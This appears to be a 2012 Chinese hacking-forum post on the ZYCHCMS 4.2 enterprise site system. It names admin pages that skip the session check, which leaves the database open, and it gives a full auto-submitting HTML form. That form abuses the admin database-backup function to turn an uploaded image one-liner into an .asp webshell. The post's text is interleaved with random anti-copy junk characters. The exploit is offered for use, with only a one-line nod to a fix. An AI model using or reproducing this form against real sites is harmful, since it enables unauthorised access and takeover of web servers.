找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1729|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

" c6 n% R7 _) e" ~9 T
+ |3 j/ S" `- z9 ?5 e2 X( d( h# U4 N5 v& ^9 k% k

  o7 M1 G2 g7 ~4 ~1 x影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)5 L3 P- O" G8 O7 }2 z! k
①SQL注射漏洞. Y6 M, o2 q- q6 O5 p
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
  `( a8 \2 X, f 漏洞原因:未过滤
4 c! g5 Z3 z0 U5 Q  T+ [, @8 O/ m 漏洞代码:" W) A1 p# w* w: a4 F
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。7 p5 A) B5 {' [1 m% N/ N5 {, l4 O
修复方法:在文件开头加入代码
: _/ P# W# q3 O8 o4 X1 K ' A2 J, @/ g* ]0 r

  N: F; J) g$ }. m' r) |②后台拿WBSHELL
% k# t; z0 Q- n0 C& G1 S+ x 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
3 |' N) z$ H% B! I9 _5 v# {8 s 这里在网上找了一个,改了下,将就着用。
3 U, v' O: L6 X3 e1 @) d9 Y& f 以下是代码本地提交代码
/ N1 N( B8 w) w& Q . S) G5 [$ u5 ~6 H& X" w
: I9 J2 O8 J5 u, d: l
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>3 C/ z) k. z6 x: \- h
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>) J$ U* _7 g7 @! ~7 J
<tr>
: _) T4 e5 Q( e, W <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>6 ~4 b4 i* N- ~; N- R7 W
</tr>
- Q# A8 v: t+ m; k <tr>
! O1 Z/ C6 _6 ~' s$ D  ~ <td bgcolor=”#FFFFFF”><span class=”back_southidc”>' ^7 o0 q2 h# S( p, |# z; X' r% S0 E  A
</span>3 g; y1 B" [: r' x. t
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
! l: I9 i* b5 S+ {( Q) ^* V <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >, [8 s6 C& f. R; F) h
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>2 t3 ?2 M" |6 R9 K4 v5 o
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d& O" b: n2 ?5 e% q3 O: U
<div align=”left”>
7 ]3 @  E! M6 X6 D% D <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />8 c+ R  M. x4 M# ?9 t/ o% L2 R! l$ K0 e: l
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
  e- b; [  W, U9 N& g <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” /># y! a' S% ^. J: D8 a% D/ h
</div></td>! f5 M5 w5 U+ m3 u/ I# J: Z7 A
</tr>4 p9 W0 {* F  g4 p/ ~0 U
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
! b$ a0 I6 `( R4 s <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
' `+ F" `# o5 F" ^8 d! o' T+ X <td class=”td”><div align=”left”>4 Q8 E/ O; d6 M( O
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />; J% c' R! ]" J' f) d
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
  N4 Z! f+ M; d" @, B) c </tr>/ d; b  W- U: o  B1 S" C
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
; N+ B2 e& g3 J  D2 ?7 V <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
+ a, b5 u; U" {; H <td class=”td”><div align=”left”>
+ @% l& s+ l9 S9 [' { <input type=”submit” value=”确定备份” class=”btn”9 j. Q2 Q# F2 l1 t' o
</div></td>
/ S% B3 A/ N. b" u </tr>) @9 u; _& o. L$ n& g
</table></td></tr></form>/ ^, l4 T: p* ~2 o
</table>: B, G% P& G( ^: k2 N/ ~) o- J
</td>/ m$ O* W+ G3 T* w+ m( N
</tr>$ Y" Z  j: N2 a$ \5 P) h: ^& x* A
</table>$ V8 i3 C6 s" a9 G% e
<script>$ w- ?% b# O" D. K" V' `
document.all.add.submit();
' [- t) b0 j, a9 a* V1 q </script>  i1 W- h( U( A6 v9 n

2 @7 w9 G1 d7 A. L5 X5 A+ N" y
+ P1 C, w$ _/ }8 n; U2 G4 Q8 S& f' Y( ?" h8 l) U
& B; n- Z  p5 M) i# Q
" b- ]7 T) o5 y+ q! q/ {4 G) @
/ m. s) }' ?$ K; k; S, J2 H

- |' C2 w2 X2 v. [" z2 X
! r" q. r; I& K- y: g6 @- t5 I2 K' C* b2 w5 s2 a4 y3 k1 v# j

) a# E# K6 Y6 `0 `; U. Z$ u) A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表